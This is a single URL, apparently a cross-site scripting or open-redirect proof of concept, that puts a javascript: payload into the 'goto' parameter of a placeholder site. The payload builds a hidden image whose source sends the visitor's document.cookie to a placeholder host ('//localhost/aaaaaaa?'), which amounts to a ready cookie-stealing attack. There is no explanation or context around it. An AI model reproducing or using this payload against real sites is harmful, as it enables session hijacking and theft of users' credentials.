site.com/index.php?goto=javascript:i=document.createElement(`img`);i.style.display=`none`;i.src=`//localhost/aaaaaaa?`%2Bescape(document.cookie);console.log(document.body.appendChild(i));